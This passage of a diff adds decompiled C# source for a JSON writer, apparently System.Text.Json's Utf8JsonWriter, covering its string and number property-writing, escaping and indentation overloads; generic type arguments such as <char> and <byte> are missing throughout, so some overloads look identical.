firstEscapeIndexProp); + Span destination; + if (maxEscapedLength > 256) + { + array = ArrayPool.Shared.Rent(maxEscapedLength); + destination = array; + } + else + { + destination = stackalloc byte[256]; + } + JsonWriterHelper.EscapeString(utf8PropertyName, destination, firstEscapeIndexProp, _options.Encoder, out var written); + utf8PropertyName = destination.Slice(0, written); + } + WriteStringByOptionsPropertyName(utf8PropertyName); + if (array != null) + { + ArrayPool.Shared.Return(array); + } + } + + private void WriteStringByOptionsPropertyName(ReadOnlySpan utf8PropertyName) + { + ValidateWritingProperty(); + if (_options.Indented) + { + WriteStringIndentedPropertyName(utf8PropertyName); + } + else + { + WriteStringMinimizedPropertyName(utf8PropertyName); + } + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + private void WriteStringMinimizedPropertyName(ReadOnlySpan escapedPropertyName) + { + int num = escapedPropertyName.Length + 3; + int num2 = num + 1; + if (_memory.Length - BytesPending < num2) + { + Grow(num2); + } + Span span = _memory.Span; + if (_currentDepth < 0) + { + span[BytesPending++] = 44; + } + span[BytesPending++] = 34; + escapedPropertyName.CopyTo(span.Slice(BytesPending)); + BytesPending += escapedPropertyName.Length; + span[BytesPending++] = 34; + span[BytesPending++] = 58; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + private void WriteStringPropertyNameSection(ReadOnlySpan escapedPropertyNameSection) + { + int num = escapedPropertyNameSection.Length + 1; + if (_memory.Length - BytesPending < num) + { + Grow(num); + } + Span span = _memory.Span; + if (_currentDepth < 0) + { + span[BytesPending++] = 44; + } + escapedPropertyNameSection.CopyTo(span.Slice(BytesPending)); + BytesPending += escapedPropertyNameSection.Length; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + private void WriteStringIndentedPropertyName(ReadOnlySpan escapedPropertyName) + { + int indentation = Indentation; + int num = indentation + escapedPropertyName.Length + 4; + int num2 = num + 1 + s_newLineLength; + if (_memory.Length - BytesPending < num2) + { + Grow(num2); + } + Span span = _memory.Span; + if (_currentDepth < 0) + { + span[BytesPending++] = 44; + } + if (_tokenType != JsonTokenType.None) + { + WriteNewLine(span); + } + JsonWriterHelper.WriteIndentation(span.Slice(BytesPending), indentation); + BytesPending += indentation; + span[BytesPending++] = 34; + escapedPropertyName.CopyTo(span.Slice(BytesPending)); + BytesPending += escapedPropertyName.Length; + span[BytesPending++] = 34; + span[BytesPending++] = 58; + span[BytesPending++] = 32; + } + + public void WriteString(JsonEncodedText propertyName, JsonEncodedText value) + { + WriteStringHelper(propertyName.EncodedUtf8Bytes, value.EncodedUtf8Bytes); + } + + private void WriteStringHelper(ReadOnlySpan utf8PropertyName, ReadOnlySpan utf8Value) + { + WriteStringByOptions(utf8PropertyName, utf8Value); + SetFlagToAddListSeparatorBeforeNextItem(); + _tokenType = JsonTokenType.String; + } + + public void WriteString(string propertyName, JsonEncodedText value) + { + if (propertyName == null) + { + ThrowHelper.ThrowArgumentNullException("propertyName"); + } + WriteString(propertyName.AsSpan(), value); + } + + public void WriteString(string propertyName, string? value) + { + if (propertyName == null) + { + ThrowHelper.ThrowArgumentNullException("propertyName"); + } + if (value == null) + { + WriteNull(propertyName.AsSpan()); + } + else + { + WriteString(propertyName.AsSpan(), value.AsSpan()); + } + } + + public void WriteString(ReadOnlySpan propertyName, ReadOnlySpan value) + { + JsonWriterHelper.ValidatePropertyAndValue(propertyName, value); + WriteStringEscape(propertyName, value); + SetFlagToAddListSeparatorBeforeNextItem(); + _tokenType = JsonTokenType.String; + } + + public void WriteString(ReadOnlySpan utf8PropertyName, ReadOnlySpan utf8Value) + { + JsonWriterHelper.ValidatePropertyAndValue(utf8PropertyName, utf8Value); + WriteStringEscape(utf8PropertyName, utf8Value); + SetFlagToAddListSeparatorBeforeNextItem(); + _tokenType = JsonTokenType.String; + } + + public void WriteString(JsonEncodedText propertyName, string? value) + { + if (value == null) + { + WriteNull(propertyName); + } + else + { + WriteString(propertyName, value.AsSpan()); + } + } + + public void WriteString(JsonEncodedText propertyName, ReadOnlySpan value) + { + WriteStringHelperEscapeValue(propertyName.EncodedUtf8Bytes, value); + } + + private void WriteStringHelperEscapeValue(ReadOnlySpan utf8PropertyName, ReadOnlySpan value) + { + JsonWriterHelper.ValidateValue(value); + int num = JsonWriterHelper.NeedsEscaping(value, _options.Encoder); + if (num != -1) + { + WriteStringEscapeValueOnly(utf8PropertyName, value, num); + } + else + { + WriteStringByOptions(utf8PropertyName, value); + } + SetFlagToAddListSeparatorBeforeNextItem(); + _tokenType = JsonTokenType.String; + } + + public void WriteString(string propertyName, ReadOnlySpan value) + { + if (propertyName == null) + { + ThrowHelper.ThrowArgumentNullException("propertyName"); + } + WriteString(propertyName.AsSpan(), value); + } + + public void WriteString(ReadOnlySpan utf8PropertyName, ReadOnlySpan value) + { + JsonWriterHelper.ValidatePropertyAndValue(utf8PropertyName, value); + WriteStringEscape(utf8PropertyName, value); + SetFlagToAddListSeparatorBeforeNextItem(); + _tokenType = JsonTokenType.String; + } + + public void WriteString(JsonEncodedText propertyName, ReadOnlySpan utf8Value) + { + WriteStringHelperEscapeValue(propertyName.EncodedUtf8Bytes, utf8Value); + } + + private void WriteStringHelperEscapeValue(ReadOnlySpan utf8PropertyName, ReadOnlySpan utf8Value) + { + JsonWriterHelper.ValidateValue(utf8Value); + int num = JsonWriterHelper.NeedsEscaping(utf8Value, _options.Encoder); + if (num != -1) + { + WriteStringEscapeValueOnly(utf8PropertyName, utf8Value, num); + } + else + { + WriteStringByOptions(utf8PropertyName, utf8Value); + } + SetFlagToAddListSeparatorBeforeNextItem(); + _tokenType = JsonTokenType.String; + } + + public void WriteString(string propertyName, ReadOnlySpan utf8Value) + { + if (propertyName == null) + { + ThrowHelper.ThrowArgumentNullException("propertyName"); + } + WriteString(propertyName.AsSpan(), utf8Value); + } + + public void WriteString(ReadOnlySpan propertyName, ReadOnlySpan utf8Value) + { + JsonWriterHelper.ValidatePropertyAndValue(propertyName, utf8Value); + WriteStringEscape(propertyName, utf8Value); + SetFlagToAddListSeparatorBeforeNextItem(); + _tokenType = JsonTokenType.String; + } + + public void WriteString(ReadOnlySpan propertyName, JsonEncodedText value) + { + WriteStringHelperEscapeProperty(propertyName, value.EncodedUtf8Bytes); + } + + private void WriteStringHelperEscapeProperty(ReadOnlySpan propertyName, ReadOnlySpan utf8Value) + { + JsonWriterHelper.ValidateProperty(propertyName); + int num = JsonWriterHelper.NeedsEscaping(propertyName, _options.Encoder); + if (num != -1) + { + WriteStringEscapePropertyOnly(propertyName, utf8Value, num); + } + else + { + WriteStringByOptions(propertyName, utf8Value); + } + SetFlagToAddListSeparatorBeforeNextItem(); + _tokenType = JsonTokenType.String; + } + + public void WriteString(ReadOnlySpan propertyName, string? value) + { + if (value == null) + { + WriteNull(propertyName); + } + else + { + WriteString(propertyName, value.AsSpan()); + } + } + + public void WriteString(ReadOnlySpan utf8PropertyName, JsonEncodedText value) + { + WriteStringHelperEscapeProperty(utf8PropertyName, value.EncodedUtf8Bytes); + } + + private void WriteStringHelperEscapeProperty(ReadOnlySpan utf8PropertyName, ReadOnlySpan utf8Value) + { + JsonWriterHelper.ValidateProperty(utf8PropertyName); + int num = JsonWriterHelper.NeedsEscaping(utf8PropertyName, _options.Encoder); + if (num != -1) + { + WriteStringEscapePropertyOnly(utf8PropertyName, utf8Value, num); + } + else + { + WriteStringByOptions(utf8PropertyName, utf8Value); + } + SetFlagToAddListSeparatorBeforeNextItem(); + _tokenType = JsonTokenType.String; + } + + public void WriteString(ReadOnlySpan utf8PropertyName, string? value) + { + if (value == null) + { + WriteNull(utf8PropertyName); + } + else + { + WriteString(utf8PropertyName, value.AsSpan()); + } + } + + private void WriteStringEscapeValueOnly(ReadOnlySpan escapedPropertyName, ReadOnlySpan utf8Value, int firstEscapeIndex) + { + byte[] array = null; + int maxEscapedLength = JsonWriterHelper.GetMaxEscapedLength(utf8Value.Length, firstEscapeIndex); + Span span = ((maxEscapedLength > 256) ? ((Span)(array = ArrayPool.Shared.Rent(maxEscapedLength))) : stackalloc byte[256]); + Span destination = span; + JsonWriterHelper.EscapeString(utf8Value, destination, firstEscapeIndex, _options.Encoder, out var written); + WriteStringByOptions(escapedPropertyName, destination.Slice(0, written)); + if (array != null) + { + ArrayPool.Shared.Return(array); + } + } + + private void WriteStringEscapeValueOnly(ReadOnlySpan escapedPropertyName, ReadOnlySpan value, int firstEscapeIndex) + { + char[] array = null; + int maxEscapedLength = JsonWriterHelper.GetMaxEscapedLength(value.Length, firstEscapeIndex); + Span span = ((maxEscapedLength > 128) ? ((Span)(array = ArrayPool.Shared.Rent(maxEscapedLength))) : stackalloc char[128]); + Span destination = span; + JsonWriterHelper.EscapeString(value, destination, firstEscapeIndex, _options.Encoder, out var written); + WriteStringByOptions(escapedPropertyName, destination.Slice(0, written)); + if (array != null) + { + ArrayPool.Shared.Return(array); + } + } + + private void WriteStringEscapePropertyOnly(ReadOnlySpan propertyName, ReadOnlySpan escapedValue, int firstEscapeIndex) + { + char[] array = null; + int maxEscapedLength = JsonWriterHelper.GetMaxEscapedLength(propertyName.Length, firstEscapeIndex); + Span span = ((maxEscapedLength > 128) ? ((Span)(array = ArrayPool.Shared.Rent(maxEscapedLength))) : stackalloc char[128]); + Span destination = span; + JsonWriterHelper.EscapeString(propertyName, destination, firstEscapeIndex, _options.Encoder, out var written); + WriteStringByOptions(destination.Slice(0, written), escapedValue); + if (array != null) + { + ArrayPool.Shared.Return(array); + } + } + + private void WriteStringEscapePropertyOnly(ReadOnlySpan utf8PropertyName, ReadOnlySpan escapedValue, int firstEscapeIndex) + { + byte[] array = null; + int maxEscapedLength = JsonWriterHelper.GetMaxEscapedLength(utf8PropertyName.Length, firstEscapeIndex); + Span span = ((maxEscapedLength > 256) ? ((Span)(array = ArrayPool.Shared.Rent(maxEscapedLength))) : stackalloc byte[256]); + Span destination = span; + JsonWriterHelper.EscapeString(utf8PropertyName, destination, firstEscapeIndex, _options.Encoder, out var written); + WriteStringByOptions(destination.Slice(0, written), escapedValue); + if (array != null) + { + ArrayPool.Shared.Return(array); + } + } + + private void WriteStringEscape(ReadOnlySpan propertyName, ReadOnlySpan value) + { + int num = JsonWriterHelper.NeedsEscaping(value, _options.Encoder); + int num2 = JsonWriterHelper.NeedsEscaping(propertyName, _options.Encoder); + if (num + num2 != -2) + { + WriteStringEscapePropertyOrValue(propertyName, value, num2, num); + } + else + { + WriteStringByOptions(propertyName, value); + } + } + + private void WriteStringEscape(ReadOnlySpan utf8PropertyName, ReadOnlySpan utf8Value) + { + int num = JsonWriterHelper.NeedsEscaping(utf8Value, _options.Encoder); + int num2 = JsonWriterHelper.NeedsEscaping(utf8PropertyName, _options.Encoder); + if (num + num2 != -2) + { + WriteStringEscapePropertyOrValue(utf8PropertyName, utf8Value, num2, num); + } + else + { + WriteStringByOptions(utf8PropertyName, utf8Value); + } + } + + private void WriteStringEscape(ReadOnlySpan propertyName, ReadOnlySpan utf8Value) + { + int num = JsonWriterHelper.NeedsEscaping(utf8Value, _options.Encoder); + int num2 = JsonWriterHelper.NeedsEscaping(propertyName, _options.Encoder); + if (num + num2 != -2) + { + WriteStringEscapePropertyOrValue(propertyName, utf8Value, num2, num); + } + else + { + WriteStringByOptions(propertyName, utf8Value); + } + } + + private void WriteStringEscape(ReadOnlySpan utf8PropertyName, ReadOnlySpan value) + { + int num = JsonWriterHelper.NeedsEscaping(value, _options.Encoder); + int num2 = JsonWriterHelper.NeedsEscaping(utf8PropertyName, _options.Encoder); + if (num + num2 != -2) + { + WriteStringEscapePropertyOrValue(utf8PropertyName, value, num2, num); + } + else + { + WriteStringByOptions(utf8PropertyName, value); + } + } + + private void WriteStringEscapePropertyOrValue(scoped ReadOnlySpan propertyName, scoped ReadOnlySpan value, int firstEscapeIndexProp, int firstEscapeIndexVal) + { + char[] array = null; + char[] array2 = null; + if (firstEscapeIndexVal != -1) + { + int maxEscapedLength = JsonWriterHelper.GetMaxEscapedLength(value.Length, firstEscapeIndexVal); + Span destination; + if (maxEscapedLength > 128) + { + array = ArrayPool.Shared.Rent(maxEscapedLength); + destination = array; + } + else + { + destination = stackalloc char[128]; + } + JsonWriterHelper.EscapeString(value, destination, firstEscapeIndexVal, _options.Encoder, out var written); + value = destination.Slice(0, written); + } + if (firstEscapeIndexProp != -1) + { + int maxEscapedLength2 = JsonWriterHelper.GetMaxEscapedLength(propertyName.Length, firstEscapeIndexProp); + Span destination2; + if (maxEscapedLength2 > 128) + { + array2 = ArrayPool.Shared.Rent(maxEscapedLength2); + destination2 = array2; + } + else + { + destination2 = stackalloc char[128]; + } + JsonWriterHelper.EscapeString(propertyName, destination2, firstEscapeIndexProp, _options.Encoder, out var written2); + propertyName = destination2.Slice(0, written2); + } + WriteStringByOptions(propertyName, value); + if (array != null) + { + ArrayPool.Shared.Return(array); + } + if (array2 != null) + { + ArrayPool.Shared.Return(array2); + } + } + + private void WriteStringEscapePropertyOrValue(scoped ReadOnlySpan utf8PropertyName, scoped ReadOnlySpan utf8Value, int firstEscapeIndexProp, int firstEscapeIndexVal) + { + byte[] array = null; + byte[] array2 = null; + if (firstEscapeIndexVal != -1) + { + int maxEscapedLength = JsonWriterHelper.GetMaxEscapedLength(utf8Value.Length, firstEscapeIndexVal); + Span destination; + if (maxEscapedLength > 256) + { + array = ArrayPool.Shared.Rent(maxEscapedLength); + destination = array; + } + else + { + destination = stackalloc byte[256]; + } + JsonWriterHelper.EscapeString(utf8Value, destination, firstEscapeIndexVal, _options.Encoder, out var written); + utf8Value = destination.Slice(0, written); + } + if (firstEscapeIndexProp != -1) + { + int maxEscapedLength2 = JsonWriterHelper.GetMaxEscapedLength(utf8PropertyName.Length, firstEscapeIndexProp); + Span destination2; + if (maxEscapedLength2 > 256) + { + array2 = ArrayPool.Shared.Rent(maxEscapedLength2); + destination2 = array2; + } + else + { + destination2 = stackalloc byte[256]; + } + JsonWriterHelper.EscapeString(utf8PropertyName, destination2, firstEscapeIndexProp, _options.Encoder, out var written2); + utf8PropertyName = destination2.Slice(0, written2); + } + WriteStringByOptions(utf8PropertyName, utf8Value); + if (array != null) + { + ArrayPool.Shared.Return(array); + } + if (array2 != null) + { + ArrayPool.Shared.Return(array2); + } + } + + private void WriteStringEscapePropertyOrValue(scoped ReadOnlySpan propertyName, scoped ReadOnlySpan utf8Value, int firstEscapeIndexProp, int firstEscapeIndexVal) + { + byte[] array = null; + char[] array2 = null; + if (firstEscapeIndexVal != -1) + { + int maxEscapedLength = JsonWriterHelper.GetMaxEscapedLength(utf8Value.Length, firstEscapeIndexVal); + Span destination; + if (maxEscapedLength > 256) + { + array = ArrayPool.Shared.Rent(maxEscapedLength); + destination = array; + } + else + { + destination = stackalloc byte[256]; + } + JsonWriterHelper.EscapeString(utf8Value, destination, firstEscapeIndexVal, _options.Encoder, out var written); + utf8Value = destination.Slice(0, written); + } + if (firstEscapeIndexProp != -1) + { + int maxEscapedLength2 = JsonWriterHelper.GetMaxEscapedLength(propertyName.Length, firstEscapeIndexProp); + Span destination2; + if (maxEscapedLength2 > 128) + { + array2 = ArrayPool.Shared.Rent(maxEscapedLength2); + destination2 = array2; + } + else + { + destination2 = stackalloc char[128]; + } + JsonWriterHelper.EscapeString(propertyName, destination2, firstEscapeIndexProp, _options.Encoder, out var written2); + propertyName = destination2.Slice(0, written2); + } + WriteStringByOptions(propertyName, utf8Value); + if (array != null) + { + ArrayPool.Shared.Return(array); + } + if (array2 != null) + { + ArrayPool.Shared.Return(array2); + } + } + + private void WriteStringEscapePropertyOrValue(scoped ReadOnlySpan utf8PropertyName, scoped ReadOnlySpan value, int firstEscapeIndexProp, int firstEscapeIndexVal) + { + char[] array = null; + byte[] array2 = null; + if (firstEscapeIndexVal != -1) + { + int maxEscapedLength = JsonWriterHelper.GetMaxEscapedLength(value.Length, firstEscapeIndexVal); + Span destination; + if (maxEscapedLength > 128) + { + array = ArrayPool.Shared.Rent(maxEscapedLength); + destination = array; + } + else + { + destination = stackalloc char[128]; + } + JsonWriterHelper.EscapeString(value, destination, firstEscapeIndexVal, _options.Encoder, out var written); + value = destination.Slice(0, written); + } + if (firstEscapeIndexProp != -1) + { + int maxEscapedLength2 = JsonWriterHelper.GetMaxEscapedLength(utf8PropertyName.Length, firstEscapeIndexProp); + Span destination2; + if (maxEscapedLength2 > 256) + { + array2 = ArrayPool.Shared.Rent(maxEscapedLength2); + destination2 = array2; + } + else + { + destination2 = stackalloc byte[256]; + } + JsonWriterHelper.EscapeString(utf8PropertyName, destination2, firstEscapeIndexProp, _options.Encoder, out var written2); + utf8PropertyName = destination2.Slice(0, written2); + } + WriteStringByOptions(utf8PropertyName, value); + if (array != null) + { + ArrayPool.Shared.Return(array); + } + if (array2 != null) + { + ArrayPool.Shared.Return(array2); + } + } + + private void WriteStringByOptions(ReadOnlySpan propertyName, ReadOnlySpan value) + { + ValidateWritingProperty(); + if (_options.Indented) + { + WriteStringIndented(propertyName, value); + } + else + { + WriteStringMinimized(propertyName, value); + } + } + + private void WriteStringByOptions(ReadOnlySpan utf8PropertyName, ReadOnlySpan utf8Value) + { + ValidateWritingProperty(); + if (_options.Indented) + { + WriteStringIndented(utf8PropertyName, utf8Value); + } + else + { + WriteStringMinimized(utf8PropertyName, utf8Value); + } + } + + private void WriteStringByOptions(ReadOnlySpan propertyName, ReadOnlySpan utf8Value) + { + ValidateWritingProperty(); + if (_options.Indented) + { + WriteStringIndented(propertyName, utf8Value); + } + else + { + WriteStringMinimized(propertyName, utf8Value); + } + } + + private void WriteStringByOptions(ReadOnlySpan utf8PropertyName, ReadOnlySpan value) + { + ValidateWritingProperty(); + if (_options.Indented) + { + WriteStringIndented(utf8PropertyName, value); + } + else + { + WriteStringMinimized(utf8PropertyName, value); + } + } + + private void WriteStringMinimized(ReadOnlySpan escapedPropertyName, ReadOnlySpan escapedValue) + { + int num = (escapedPropertyName.Length + escapedValue.Length) * 3 + 6; + if (_memory.Length - BytesPending < num) + { + Grow(num); + } + Span span = _memory.Span; + if (_currentDepth < 0) + { + span[BytesPending++] = 44; + } + span[BytesPending++] = 34; + TranscodeAndWrite(escapedPropertyName, span); + span[BytesPending++] = 34; + span[BytesPending++] = 58; + span[BytesPending++] = 34; + TranscodeAndWrite(escapedValue, span); + span[BytesPending++] = 34; + } + + private void WriteStringMinimized(ReadOnlySpan escapedPropertyName, ReadOnlySpan escapedValue) + { + int num = escapedPropertyName.Length + escapedValue.Length + 5; + int num2 = num + 1; + if (_memory.Length - BytesPending < num2) + { + Grow(num2); + } + Span span = _memory.Span; + if (_currentDepth < 0) + { + span[BytesPending++] = 44; + } + span[BytesPending++] = 34; + escapedPropertyName.CopyTo(span.Slice(BytesPending)); + BytesPending += escapedPropertyName.Length; + span[BytesPending++] = 34; + span[BytesPending++] = 58; + span[BytesPending++] = 34; + escapedValue.CopyTo(span.Slice(BytesPending)); + BytesPending += escapedValue.Length; + span[BytesPending++] = 34; + } + + private void WriteStringMinimized(ReadOnlySpan escapedPropertyName, ReadOnlySpan escapedValue) + { + int num = escapedPropertyName.Length * 3 + escapedValue.Length + 6; + if (_memory.Length - BytesPending < num) + { + Grow(num); + } + Span span = _memory.Span; + if (_currentDepth < 0) + { + span[BytesPending++] = 44; + } + span[BytesPending++] = 34; + TranscodeAndWrite(escapedPropertyName, span); + span[BytesPending++] = 34; + span[BytesPending++] = 58; + span[BytesPending++] = 34; + escapedValue.CopyTo(span.Slice(BytesPending)); + BytesPending += escapedValue.Length; + span[BytesPending++] = 34; + } + + private void WriteStringMinimized(ReadOnlySpan escapedPropertyName, ReadOnlySpan escapedValue) + { + int num = escapedValue.Length * 3 + escapedPropertyName.Length + 6; + if (_memory.Length - BytesPending < num) + { + Grow(num); + } + Span span = _memory.Span; + if (_currentDepth < 0) + { + span[BytesPending++] = 44; + } + span[BytesPending++] = 34; + escapedPropertyName.CopyTo(span.Slice(BytesPending)); + BytesPending += escapedPropertyName.Length; + span[BytesPending++] = 34; + span[BytesPending++] = 58; + span[BytesPending++] = 34; + TranscodeAndWrite(escapedValue, span); + span[BytesPending++] = 34; + } + + private void WriteStringIndented(ReadOnlySpan escapedPropertyName, ReadOnlySpan escapedValue) + { + int indentation = Indentation; + int num = indentation + (escapedPropertyName.Length + escapedValue.Length) * 3 + 7 + s_newLineLength; + if (_memory.Length - BytesPending < num) + { + Grow(num); + } + Span span = _memory.Span; + if (_currentDepth < 0) + { + span[BytesPending++] = 44; + } + if (_tokenType != JsonTokenType.None) + { + WriteNewLine(span); + } + JsonWriterHelper.WriteIndentation(span.Slice(BytesPending), indentation); + BytesPending += indentation; + span[BytesPending++] = 34; + TranscodeAndWrite(escapedPropertyName, span); + span[BytesPending++] = 34; + span[BytesPending++] = 58; + span[BytesPending++] = 32; + span[BytesPending++] = 34; + TranscodeAndWrite(escapedValue, span); + span[BytesPending++] = 34; + } + + private void WriteStringIndented(ReadOnlySpan escapedPropertyName, ReadOnlySpan escapedValue) + { + int indentation = Indentation; + int num = indentation + escapedPropertyName.Length + escapedValue.Length + 6; + int num2 = num + 1 + s_newLineLength; + if (_memory.Length - BytesPending < num2) + { + Grow(num2); + } + Span span = _memory.Span; + if (_currentDepth < 0) + { + span[BytesPending++] = 44; + } + if (_tokenType != JsonTokenType.None) + { + WriteNewLine(span); + } + JsonWriterHelper.WriteIndentation(span.Slice(BytesPending), indentation); + BytesPending += indentation; + span[BytesPending++] = 34; + escapedPropertyName.CopyTo(span.Slice(BytesPending)); + BytesPending += escapedPropertyName.Length; + span[BytesPending++] = 34; + span[BytesPending++] = 58; + span[BytesPending++] = 32; + span[BytesPending++] = 34; + escapedValue.CopyTo(span.Slice(BytesPending)); + BytesPending += escapedValue.Length; + span[BytesPending++] = 34; + } + + private void WriteStringIndented(ReadOnlySpan escapedPropertyName, ReadOnlySpan escapedValue) + { + int indentation = Indentation; + int num = indentation + escapedPropertyName.Length * 3 + escapedValue.Length + 7 + s_newLineLength; + if (_memory.Length - BytesPending < num) + { + Grow(num); + } + Span span = _memory.Span; + if (_currentDepth < 0) + { + span[BytesPending++] = 44; + } + if (_tokenType != JsonTokenType.None) + { + WriteNewLine(span); + } + JsonWriterHelper.WriteIndentation(span.Slice(BytesPending), indentation); + BytesPending += indentation; + span[BytesPending++] = 34; + TranscodeAndWrite(escapedPropertyName, span); + span[BytesPending++] = 34; + span[BytesPending++] = 58; + span[BytesPending++] = 32; + span[BytesPending++] = 34; + escapedValue.CopyTo(span.Slice(BytesPending)); + BytesPending += escapedValue.Length; + span[BytesPending++] = 34; + } + + private void WriteStringIndented(ReadOnlySpan escapedPropertyName, ReadOnlySpan escapedValue) + { + int indentation = Indentation; + int num = indentation + escapedValue.Length * 3 + escapedPropertyName.Length + 7 + s_newLineLength; + if (_memory.Length - BytesPending < num) + { + Grow(num); + } + Span span = _memory.Span; + if (_currentDepth < 0) + { + span[BytesPending++] = 44; + } + if (_tokenType != JsonTokenType.None) + { + WriteNewLine(span); + } + JsonWriterHelper.WriteIndentation(span.Slice(BytesPending), indentation); + BytesPending += indentation; + span[BytesPending++] = 34; + escapedPropertyName.CopyTo(span.Slice(BytesPending)); + BytesPending += escapedPropertyName.Length; + span[BytesPending++] = 34; + span[BytesPending++] = 58; + span[BytesPending++] = 32; + span[BytesPending++] = 34; + TranscodeAndWrite(escapedValue, span); + span[BytesPending++] = 34; + } + + [CLSCompliant(false)] + public void WriteNumber(JsonEncodedText propertyName, ulong value) + { + ReadOnlySpan encodedUtf8Bytes = propertyName.EncodedUtf8Bytes; + WriteNumberByOptions(encodedUtf8Bytes, value); + SetFlagToAddListSeparatorBeforeNextItem(); + _tokenType = JsonTokenType.Number; + } + + [CLSCompliant(false)] + public void WriteNumber(string propertyName, ulong value) + { + if (propertyName == null) + { + ThrowHelper.ThrowArgumentNullException("propertyName"); + } + WriteNumber(propertyName.AsSpan(), value); + } + + [CLSCompliant(false)] + public void WriteNumber(ReadOnlySpan propertyName, ulong value) + { + JsonWriterHelper.ValidateProperty(propertyName); + WriteNumberEscape(propertyName, value); + SetFlagToAddListSeparatorBeforeNextItem(); + _tokenType = JsonTokenType.Number; + } + + [CLSCompliant(false)] + public void WriteNumber(ReadOnlySpan utf8PropertyName, ulong value) + { + JsonWriterHelper.ValidateProperty(utf8PropertyName); + WriteNumberEscape(utf8PropertyName, value); + SetFlagToAddListSeparatorBeforeNextItem(); + _tokenType = JsonTokenType.Number; + } + + [CLSCompliant(false)] + public void WriteNumber(JsonEncodedText propertyName, uint value) + { + WriteNumber(propertyName, (ulong)value); + } + + [CLSCompliant(false)] + public void WriteNumber(string propertyName, uint value) + { + if (propertyName == null) + { + ThrowHelper.ThrowArgumentNullException("propertyName"); + } + WriteNumber(propertyName.AsSpan(), (ulong)value); + } + + [CLSCompliant(false)] + public void WriteNumber(ReadOnlySpan propertyName, uint value) + { + WriteNumber(propertyName, (ulong)value); + } + + [CLSCompliant(false)] + public void WriteNumber(ReadOnlySpan utf8PropertyName, uint value) + { + WriteNumber(utf8PropertyName, (ulong)value); + } + + private void WriteNumberEscape(ReadOnlySpan propertyName, ulong value) + { + int num = JsonWriterHelper.NeedsEscaping(propertyName, _options.Encoder); + if (num != -1) + { + WriteNumberEscapeProperty(propertyName, value, num); + } + else + { + WriteNumberByOptions(propertyName, value); + } + } + + private void WriteNumberEscape(ReadOnlySpan utf8PropertyName, ulong value) + { + int num = JsonWriterHelper.NeedsEscaping(utf8PropertyName, _options.Encoder); + if (num != -1) + { + WriteNumberEscapeProperty(utf8PropertyName, value, num); + } + else + { + WriteNumberByOptions(utf8PropertyName, value); + } + } + + private void WriteNumberEscapeProperty(ReadOnlySpan propertyName, ulong value, int firstEscapeIndexProp) + { + char[] array = null; + int maxEscapedLength = JsonWriterHelper.GetMaxEscapedLength(propertyName.Length, firstEscapeIndexProp); + Span span = ((maxEscapedLength > 128) ? ((Span)(array = ArrayPool.Shared.Rent(maxEscapedLength))) : stackalloc char[128]); + Span destination = span; + JsonWriterHelper.EscapeString(propertyName, destination, firstEscapeIndexProp, _options.Encoder, out var written); + WriteNumberByOptions(destination.Slice(0, written), value); + if (array != null) + { + ArrayPool.Shared.Return(array); + } + } + + private void WriteNumberEscapeProperty(ReadOnlySpan utf8PropertyName, ulong value, int firstEscapeIndexProp) + { + byte[] array = null; + int maxEscapedLength = JsonWriterHelper.GetMaxEscapedLength(utf8PropertyName.Length, firstEscapeIndexProp); + Span span = ((maxEscapedLength > 256) ? ((Span)(array = ArrayPool.Shared.Rent(maxEscapedLength))) : stackalloc byte[256]); + Span destination = span; + JsonWriterHelper.EscapeString(utf8PropertyName, destination, firstEscapeIndexProp, _options.Encoder, out var written); + WriteNumberByOptions(destination.Slice(0, written), value); + if (array != null) + { + ArrayPool.Shared.Return(array); + } + } + + private void WriteNumberByOptions(ReadOnlySpan propertyName, ulong value) + { + ValidateWritingProperty(); + if (_options.Indented) + { + WriteNumberIndented(propertyName, value); + } + else + { + WriteNumberMinimized(propertyName, value); + } + } + + private void WriteNumberByOptions(ReadOnlySpan utf8PropertyName, ulong value) + { + ValidateWritingProperty(); + if (_options.Indented) + { + WriteNumberIndented(utf8PropertyName, value); + } + else + { + WriteNumberMinimized(utf8PropertyName, value); + } + } + + private void WriteNumberMinimized(ReadOnlySpan escapedPropertyName, ulong value) + { + int num = escapedPropertyName.Length * 3 + 20 + 4; + if (_memory.Length - BytesPending < num) + { + Grow(num); + } + Span span = _memory.Span; + if (_currentDepth < 0) + { + span[BytesPending++] = 44; + } + span[BytesPending++] = 34; + TranscodeAndWrite(escapedPropertyName, span); + span[BytesPending++] = 34; + span[BytesPending++] = 58; + int bytesWritten; + bool flag = Utf8Formatter.TryFormat(value, span.Slice(BytesPending), out bytesWritten); + BytesPending += bytesWritten; + } + + private void WriteNumberMinimized(ReadOnlySpan escapedPropertyName, ulong value) + { + int num = escapedPropertyName.Length + 20 + 3; + int num2 = num + 1; + if (_memory.Length - BytesPending < num2) + { + Grow(num2); + } + Span span = _memory.Span; + if (_currentDepth < 0) + { + span[BytesPending++] = 44; + } + span[BytesPending++] = 34; + escapedPropertyName.CopyTo(span.Slice(BytesPending)); + BytesPending += escapedPropertyName.Length; + span[BytesPending++] = 34; + span[BytesPending++] = 58; + int bytesWritten; + bool flag = Utf8Formatter.TryFormat(value, span.Slice(BytesPending), out bytesWritten); + BytesPending += bytesWritten; + } + + private void WriteNumberIndented(ReadOnlySpan escapedPropertyName, ulong value) + { + int indentation = Indentation; + int num = indentation + escapedPropertyName.Length * 3 + 20 + 5 + s_newLineLength; + if (_memory.Length - BytesPending < num) + { + Grow(num); + } + Span span = _memory.Span; + if (_currentDepth < 0) + { + span[BytesPending++] = 44; + } + if (_tokenType != JsonTokenType.None) + { + WriteNewLine(span); + } + JsonWriterHelper.WriteIndentation(span.Slice(BytesPending), indentation); + BytesPending += indentation; + span[BytesPending++] = 34; + TranscodeAndWrite(escapedPropertyName, span); + span[BytesPending++] = 34; + span[BytesPending++] = 58; + span[BytesPending++] = 32; + int bytesWritten; + bool flag = Utf8Formatter.TryFormat(value, span.Slice(BytesPending), out bytesWritten); + BytesPending += bytesWritten; + } + + private void WriteNumberIndented(ReadOnlySpan escapedPropertyName, ulong value) + { + int indentation = Indentation; + int num = indentation + escapedPropertyName.Length + 20 + 4; + int num2 = num + 1 + s_newLineLength; + if (_memory.Length - BytesPending < num2) + { + Grow(num2); + } + Span span = _memory.Span; + if (_currentDepth < 0) + { + span[BytesPending++] = 44; + } + if (_tokenType != JsonTokenType.None) + { + WriteNewLine(span); + } + JsonWriterHelper.WriteIndentation(span.Slice(BytesPending), indentation); + BytesPending += indentation; + span[BytesPending++] = 34; + escapedPropertyName.CopyTo(span.Slice(BytesPending)); + BytesPending += escapedPropertyName.Length; + 